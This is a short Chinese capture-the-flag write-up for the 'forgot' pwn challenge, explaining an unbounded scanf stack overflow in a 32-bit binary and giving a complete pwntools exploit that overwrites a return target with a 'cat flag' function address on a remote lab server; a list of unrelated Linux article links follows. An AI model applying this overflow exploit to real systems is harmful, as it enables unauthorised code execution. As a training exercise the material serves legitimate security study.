攻防世界2

forgot

发现是32位文件

fgets(s, 32, stdin)限制读入32位字符,无法利用

__isoc99_scanf("%s", v2) 典型的栈溢出

发现cat flag

覆盖v2-v3,覆盖为cat flag的函数地址

exp:

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('61.147.171.105','56662')
door = 0x80486CC
io.recvuntil(b'>')
payload = b'aaaa'
io.sendline(payload)
io.recvuntil(b'>')
padding = b'a'*(0x74-0x54+0x4)
payload1 = padding + p32(door)
io.sendline(payload1)
io.interactive()
相关推荐
PoppyBu11 分钟前
ubuntu20.04安装amule
linux·ubuntu
Exquisite.16 分钟前
云原生高级前置复习
linux·云原生·云计算
HIT_Weston18 分钟前
94、【Ubuntu】【Hugo】搭建私人博客:面包屑(二)
linux·运维·ubuntu
hui25930325 分钟前
RH134 第八章 管理存储堆栈
linux·运维·服务器
一个学Java小白27 分钟前
TUI的王者——ncurses.md
linux·ui
乾元33 分钟前
10 个可复制的企业级项目:从需求到交付的 AI 网络工程模板(深度实战版)
运维·网络·人工智能·网络协议·安全
雾岛听蓝1 小时前
Linux用户权限管理基础
linux
遇见火星1 小时前
Linux 命令篇:df、du、fdisk 磁盘管理
linux·运维·服务器·df·du·fdisk
凌~风1 小时前
013-计算机操作系统实验报告之Linux命令!
linux·计算机操作系统·实验报告
牛奶咖啡131 小时前
shell脚本编程(七)
linux·shell脚本编程·列表for循环·列表for循环的多种示例·for循环的break用法·for循环continue用法·c语言型for循环